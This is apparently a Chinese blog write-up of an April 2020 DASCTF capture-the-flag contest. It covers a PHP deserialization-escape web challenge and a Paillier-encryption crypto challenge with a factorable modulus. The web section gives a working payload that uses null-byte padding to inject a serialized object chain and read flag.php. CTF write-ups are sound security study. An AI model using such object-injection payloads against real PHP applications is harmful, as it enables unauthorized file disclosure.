安恒月赛DASCTF
中午就睡了一会儿起来做题,还被室友给diss了…🙄,搞得下午一直恍恍惚惚… 也做了几道题,简单写下题解吧,师傅们勿捶。。。
web1
考察反序列化逃逸,类似的题之前有写过:0CTF2019-piapiapia、春秋公益赛,这里不再详细解释。
解题
进入题目给出源码:
|
根据字符替换的规则可以构造payload如下:
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}} |
payload打过去之后看源码拿到flag。
cry1-not RSA
这题考察Paillier加密算法,这题也是学到了新知识:
Paillier加密系统,是1999年Paillier发明的概率公钥加密系统。基于复合剩余类的困难问题。该加密算法是一种同态加密,满足加法和数乘同态。
这篇博客有对该算法的讲解,这里我就不过多讲解了。
解题
给出源码如下:
... |
emmm… 其实做题的时候忘了把源码记下来了,就简单通过解密脚本逆了一下😅
通过密文c的产生明显看出来是Paillier算法进行加密的,既然如此,那么n
应该是可以分解的,yafu分解了一下,果然可以。时间短,自己懒得写了解密脚本了,网上找了一个自己又改了一下:
# paillier cryptosystem |
再赠送一个整个加密、解密实现的代码:
import gmpy2 |
还有几个misc的题,就不再写题解了,最近有点忙…
- Post Title: 安恒月赛DASCTF
- Post Author: ggb0n
- Post Link: http://ggb0n.cool/2020/04/25/安恒月赛DSACTF/
- Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
# Related Post
1.DASCTF七月月赛PWN
2.CybricsCTF
3.TCTF2020部分题解
4.DASCTF六月月赛
5.De1CTF2020部分题解
6.高校战"疫"部分题解
7.V&N公开赛
8.安恒-抗疫月赛
1.DASCTF七月月赛PWN
2.CybricsCTF
3.TCTF2020部分题解
4.DASCTF六月月赛
5.De1CTF2020部分题解
6.高校战"疫"部分题解
7.V&N公开赛
8.安恒-抗疫月赛
# Recommend Post
1.TCTF2020部分题解
2.第五空间pwn题练习
3.堆溢出-Tcache_Attack
4.堆溢出-Housese_Of_XXX
5.堆溢出基础
6.入坑二进制
1.TCTF2020部分题解
2.第五空间pwn题练习
3.堆溢出-Tcache_Attack
4.堆溢出-Housese_Of_XXX
5.堆溢出基础
6.入坑二进制